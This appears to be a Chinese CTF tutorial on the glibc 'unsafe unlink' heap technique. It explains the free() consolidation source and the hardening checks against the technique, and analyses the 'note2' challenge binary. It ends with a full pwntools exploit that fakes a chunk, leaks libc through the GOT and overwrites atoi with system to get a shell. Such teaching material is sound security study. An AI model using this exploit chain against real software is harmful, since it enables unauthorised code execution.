unsafe unlink
unsafe unlink
0x00 unlink介绍
unlink就是一个“glibc malloc”的内存回收机制,顾名思义,把一个free的chunk从链表中拆取出来。显然,这种利用Unlink的手段针对的是除fastbin以外的其他几个bin链,因为fastbin是个单链表。
什么场合会用到unlink?当需要合并双向链表中相邻的两个free chunk的时候就要用到unlink。这里的合并又分向后合并、向前合并两种情况。
unlink攻击技术就是利用unlink过程把free函数的got表项覆盖成为shellcode地址。在后续调用free的时候就可以执行shellcode代码。
0x01 unlink过程源码介绍
一旦涉及到free内存,那么就意味着有新的chunk由allocated状态变成了free状态,此时glibc malloc就需要进行合并操作,就是包括前面所说的两种合并情况。
在这里通过libc源码得到更好的理解,注意以下合并源码操作的chunk都是非 mmaped 块
向前合并
#!c
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的后一个和前一个free chunk*/
static void _int_free (mstate av, mchunkptr p, int have_lock)
{
...
//判断是否为mmap分配的chunk
else if (!chunk_is_mmapped(p)) {
...
nextchunk = chunk_at_offset(p, size);
...
nextsize = chunksize(nextchunk);
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
...
}
程序的大概逻辑就是先检测free chunk 的上一个chunk是否为mmaped chunk,通过chunk_is_mmapped(p)判断。再者检测前一个chunk是否为free状态,通过prev_inuse(p)来知晓。
注意在默认情况下,堆内存的第一个chunk的prev_inuse位永远是1,表示被分配的状态。第一个的前一个chunk是不存在的,但这不影响prev_inuse位想表示出的状态。
-
当前一个chunk是allocated状态,显然就不合条件跳过if
-
当前一个chunk是free状态,就开始向前合并:
- 把size扩大为size+prev_size
- 修改指向当前chunk的指针p,让其指向前一个chunk
- 使用unlink宏,将p所指向的合并后的freechunk从双向列表中移除
向后合并
#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
/* consolidate forward */
if (!nextinuse) { //next chunk为free chunk
unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向后合并!
} else
clear_inuse_bit_at_offset(nextchunk, 0);
……
}
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
...
}
与向前合并不一样的就是对指针的操作,这里用的是nextchunk而不再是p指针,p还是指向当前freechunk,操作的nextchunk指向p指向的下一个freechunk,总体操作上与向前合并大致一致。
- 当next chunk是free状态,开始向后合并
- 将nextchunk从链表中移除
- 把szie扩大为size+nextsize
![image-20211217154344286](https://img2020.cnblogs.com/blog/2580290/202112/2580290-20211217154423712-499882686.png)
以上就是两种合并的具体介绍
接下来就要了解合并后(或者因不满足条件没合并)的chunk是如何进一步处理?
当然这对攻击来说并没有多大关系,但这里扩展了解一下:
#!c
/*
Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av); //获取unsorted bin的第一个chunk
/*
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1))
*/
//把p插在头节点与第一个chunk之间
fwd = bck->fd;
……
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);//设置当前chunk的size,并将前一个chunk标记为已使用
set_foot(p, size);//将后一个chunk的prev_size设置为当前chunk的size
/*
/* Set size/use field */
#define set_head(p, s) ((p)->size = (s))
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))
*/
上述代码的逻辑大概就是:把当前chunk插入到unsorted bin的第头节点与第1个节点之间。分别更改头节点的bk与第一个节点(现在第2节点)的fd,都改成p,设置当前chunk的size,并将前一个chunk标记为已使用,再将后一个chunk的prev_size设置为当前chunk的size。这样就完善成一个新的unsorted链表。
注意:上一段中描述的”前一个“与”后一个“chunk,是指的由chunk的prev_size与size字段隐式连接的chunk,即它们在内存中是连续、相邻的!而不是通过chunk中的fd与bk字段组成的bin(双向链表)中的前一个与后一个chunk,切记!
0x02 实验1
前面已经很详细的讲解了实现unlink以及其上下文的过程。
看一下下面这道题:
程序源代码:
#!c
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
if(argc!=1)
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
很明显存在一个堆溢出的漏洞,当输入的argv[1]的大小比first所申请到的666字节还要大的时候,就可以把接下去的内容进行覆盖。而实现攻击操作的核心就在于unlink攻击。
假设要覆盖的second chunk header的数据如下(这里告知一下是在32位系统):
1)prev_size =一个偶数,这样就使得p位是0表示first chunk处于free状态。
2)nextszie =-4
3)fd = free@got的地址 - 12,
4)bk = shellcode地址
所以当程序在第4步,调用free(first)后发生什么?向后or向后合并?
frist是处于链表的第一个chunk,前面头节点永远是allocated状态。不会发生向前合并。
那向后合并呢?结合前面的源码,nextchunk就是second chunk。在检测nextchunk是否是free状态的代码如下
#!c
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
这里inuse_bit_at_offset宏定义如下:
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)
从上面的代码可以知道,它把nextchunk指针加了一个nextsize,指向了nextchunk的下一个chunk,就是second chunk的下个chunk,按照正常来说就是top块。但我们把nextsize设置成-4,这样在检测的时候,gllibc malloc 就会把second chunk的prev_size字段看成second chunk的next chunk的size字段。而我们已经将second chunk的prev_size字段设置为一个偶数,这样一来inuse_bit_at_offset(nextchunk, nextsize)获得的nextchunk的prev_insue位是0,即nextchunk为free状态,就是second chunk是free状态。
这样就符合向后合并的要求,就要调用unlink函数——unlink(secondchunk, bck, fwd)。
还记得之前的unlink的源代码吗,我把他们原意加以注释
#define unlink(P, BK, FD) {
FD = P->fd; // 取前一个chunk
BK = P->bk; //取后一个chunk
FD->bk = BK; //前一个chunk的bk指向后一个chunk
BK->fd = FD; //后一个chunk的fd指向前一个chunk //这样就把链表重新接上,取出unlinked节点
...
}
操作开始了,构造的数据要发挥巨大作用了,盯紧这三个参数
P=secondchunk, BK=bck, FD=fwd
- FD = P->fd = free@got - 12
- BK = P->bk = shellcode地址
- FD->bk = (free@got - 12)->bk = free@got = BK = shellcode地址
- BK->fd = shellcode地址->fd = FD=free@got - 12
画个图
![image-20211218205838442](https://img2020.cnblogs.com/blog/2580290/202112/2580290-20211218205839511-408069484.png)
图一画一些关键的就一目了然了。free@got-12就是把这一段空间当作chunk赋予的首地址指针。这个“chunk”的bk自然就是free的地址。所以free的地址在执行完unlink之后就会被赋值为shellcode的地址。所以在之后执行第5步free(second)就是在调用sellcode。
0x03 unlink攻击对抗
glibc malloc在不断更新,添加了如下的检查机制来防止unlink攻击技巧。
-
不允许double free:对一个已经free的chunk进行再次的free是不允许的。通过检查prev_inuse来实现。
所以对于这道题攻击者将size设置成为-4时,就意味着size的prev_inuse位是0,那么在free(first)的时候检查second的size域,发现处于free状态,立马报错。
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
-
invalid nextchunk size :nextchunk的大小应该在8(16)字节到arena的全部系统内存之间。
所以在设置second的size为-4的时候就绕不过nextchunk的size检查,报错
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
-
双向列表指针被破坏:在执行unlink操作的时候,链表中的前一个chunk的fd和下一个chunk的bk应该指向当前即将unlink的chunk
很显然,替换second的fd和bk内容会立马影响,报错
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
在有上述unlink防御的操作之下,攻击者还是能找到漏洞,攻击者的脑洞永远比天大。看一下下面这道题。
0x04 实验2--note2
0x000 试玩
root@ubuntu20:~/ln2# ./note2
Input your name:
aa
Input your address:
aa
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit
option--->>
1
Input the length of the note content:(less than 128)
16
Input the note content:
dfnasdlkfna
note add success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit
option--->>
2
Input the id of the note:
0
Content is dfnasdlkfna
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit
option--->>
3
Input the id of the note:
0
do you want to overwrite or append?[1.overwrite/2.append]
可以看到是很经典的菜单,是一道经典的堆题。
先ida反编译
1.main函数:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
getStr(name, 64LL, 10);//getStr是个自定义函数
puts("Input your address:");
getStr(addr, 96LL, 10);
while ( 1 )
{
switch ( menu() )
{
case 1:
new();
break;
case 2:
show();
break;
case 3:
edit();
break;
case 4:
del();
break;
case 5:
puts("Bye~");
exit(0);
case 6:
exit(0);
default:
continue;
}
}
}
getstr自定义,点击打开。
unsigned __int64 __fastcall getStr(char *a1, __int64 a2, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )//buf不给读入a3内容
break;
a1[i] = buf;
}
a1[i] = 0;
return i;
}
可以看到这里定义的i是unsigned __int64无符号整型变量,而a2是__int64是有符号整型变量
当 a2 - 1 > i,他们进行比较的时候,C语言会把有符号的整型变量转变为无符号的变量进而进行比较。所以当a2可控,让a2=0时;a2-1将时负数,在转化为无符号的整型变量时将会变得很大,足以使得for的该条件永远成立。这就是整数溢出漏洞。
2.new函数的代码
void new()
{
unsigned int id; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
char *p; // [rsp+8h] [rbp-8h]
if ( (unsigned int)cnt <= 3 )//申请不超过4个chunk
{
puts("Input the length of the note content:(less than 128)");
size = getInt();
if ( size <= 0x80 )//申请的chunk大小不超过128
{
p = (char *)malloc(size);
puts("Input the note content:");
getStr(p, size, 10);
filter(p);//点开发现其功能是把%过滤
ptr[cnt] = p;//ptr[]数组里面存放chunk的返回指针
length[cnt] = size;//length[]数组存放chunk的size
id = cnt++;//会等于id = cnt;cnt++;
printf("note add success, the id is %d\n", id);
}
else
{
puts("Too long");
}
}
else
{
puts("note lists are full");
}
}
这里得getstr的size可控。那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
明确一点像出现得ptr、length、cnt等都是全局变量,他们的地址可以在bss看到
3.show函数代码
void show()
{
int idx; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
idx = getInt();
if ( idx >= 0 && idx <= 3 )//0-3
{
if ( ptr[idx] )
printf("Content is %s\n", ptr[idx]);//把指针也就是chunk的内容输出
}
}
4.edit函数代码
void edit()
{
char *v0; // rbx
int idx; // [rsp+8h] [rbp-E8h]
int choice; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 size; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *v6; // [rsp+A0h] [rbp-50h]
unsigned __int64 v7; // [rsp+D8h] [rbp-18h]
v7 = __readfsqword(0x28u);
if ( cnt )
{
puts("Input the id of the note:");
idx = getInt();
if ( idx >= 0 && idx <= 3 )
{
src = ptr[idx];//把chunk指针取出
size = length[idx];//对应size取出
if ( src )//判空
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
choice = getInt();
if ( choice == 1 || choice == 2 )
{
if ( choice == 1 )
dest[0] = 0;
else
strcpy(dest, src);//拷贝chunk中的数据
v6 = (char *)malloc(0xA0uLL);//临时申请一个大小为160字节的chunk
strcpy(v6, "TheNewContents:");
printf(v6);
getStr(v6 + 15, 144LL, 10);//从申请的chunk数据部分第15个字节以后,读入144个字节
filter(v6 + 15);
v0 = v6;//移交控制权
v0[size - strlen(dest) + 14] = 0;
//C 库函数 char *strncat(char *dest, const char *src, size_t n) 把src 所指向的字符串追加到 dest 所指向的字符串的结尾,直到 n 字符长度为止。
strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);//将输入字符串追加到dest中数据后面
strcpy(src, dest);//再把完整的数据拷贝回chunk中
free(v6);//对临时chunk进行释放
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
}
注意这里申请的临时chunk是0xa0固定大小。
在free之后并没有把指针清零,出现uaf漏洞。
5.del函数代码
void del()
{
int idx; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
idx = getInt();
if ( idx >= 0 && idx <= 3 )
{
if ( ptr[idx] )
{
free(ptr[idx]);//对chunk进行free
ptr[idx] = 0LL;//返回指针清零
length[idx] = 0LL;//长度清零
puts("delete note success!");
}
}
}
0x001 漏洞利用
思路如下:
-
绕过三个检查机制
-
创建3个chunk分别是chunk0、chunk1、chunk2。其中chunk0读入的是构造伪造的fake chunk的数据(包括chunk头和fd、bk域)。
-
为了堆溢出,输入chunk1的size是0,size虽是0但实际上在glibc malloc默认分配0x20大小的空间。申请完三个chunk后,对chunk1直接free,就会回收到fastbin链中去,再通过重新new,获得该空间的控制,就可以利用整数溢出,输入大于0x20字节的数据实现对chunk2头部的覆盖
-
最后free(chunk2),这样就会有unlink过程,在检查上一个chunk,即fake chunk的时候发现其满足条件,此时就会向前合并。
-
unlink为的不是要合并的结果;要的是中间巧妙的四句
FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD;
严格来讲是前三句,简化就是P->fd->bk=P->bk,最后成功把指针指向修改
具体内存情况如下:
申请的三个chunk:
![image-20211220210926147](https://img2020.cnblogs.com/blog/2580290/202112/2580290-20211220210927298-2105724044.png)
伪造后的chunk:
![image-20211221101046869](https://img2020.cnblogs.com/blog/2580290/202112/2580290-20211221101047760-1675973530.png)
unlink后:
![image-20211221090739575](https://img2020.cnblogs.com/blog/2580290/202112/2580290-20211221090740346-1432478118.png)
- unlink后实现对ptr指针的控制,使得ptr[0]=&ptr[0]-0x18,然后修改ptr[0][3]为atoi@got,让ptr[0]指向atoi@got,通过show函数就可以让atoi的真实地址输出,再结合偏移,就可以拿到libc的基地址,进而拿到system函数的基地址。
这里有个地方注意:
为什么chunk1不能第一遍new的时候,直接在输入内容覆盖,要放到fastbin里new回来再覆盖?
因为第一遍的时候chunk2还未申请,若直接覆盖,将会是改变top chunk的chunk头。而top_chunk的size也不是随意更改的,因为在sysmalloc中对这个值还要做校验
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
- 接下来就是通过修改ptr[0],就是atoi@got为system函数的地址,这样调用atoi的时候就是调用system。
- menu函数里面getint函数就有atoi调用,那么在要用户输入菜单选项的时候,直接输入"/bin/sh\0x00"将会执行system含函数并返回shell
完整脚本
from pwn import *
p = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.24.so")
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']
rv = p.recv
ru = p.recvuntil
sl = p.sendline
sla = p.sendlineafter
sd = p.send
sda = p.sendafter
def dbg(break_point):
gdb.attach(p, "b " + break_point)
def new_note(size, content):
sla("option--->>", "1")
sla("Input the length of the note content:(less than 128)", str(size))
sla("Input the note content:", content)
def delete_note(id):
sla("option--->", "4")
sla("Input the id of the note:", str(id))
def show_note(id):
sla("option--->", "2")
sla("Input the id of the note:", str(id))
def edit_note(id, option, content):
sla("option--->", "3")
sla("Input the id of the note:", str(id))
sla("[1.overwrite/2.append]", str(option))
sla("TheNewContents:", content)
sla("Input your name:", "Lantern")
sla("Input your address:", "Lantern")
# dbg("*0x000000000400B0F")
ptr = 0x602120
payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x60, b'b')
new_note(0x80, payload) # 0
new_note(0, 'b') # 1
new_note(0x80, 'a') # 2
delete_note(1)
payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90)
new_note(0, payload)
delete_note(2)
payload = b"a" * 0x18 + p64(elf.got['atoi'])
edit_note(0, 1 , payload)
show_note(0)
ru("Content is ")
atoi_address = u64(ru("\n", drop = True).ljust(8, b'\x00'))
log.success("atoi_address: " + hex(atoi_address))
libc.address = atoi_address - libc.symbols['atoi']
system_address = libc.symbols['system']
log.success("system_address: " + hex(system_address))
log.success("libc.address: " + hex(libc.address))
payload = p64(system_address)
edit_note(0, 1, payload)
sla("option--->>", "/bin/sh")
p.interactive()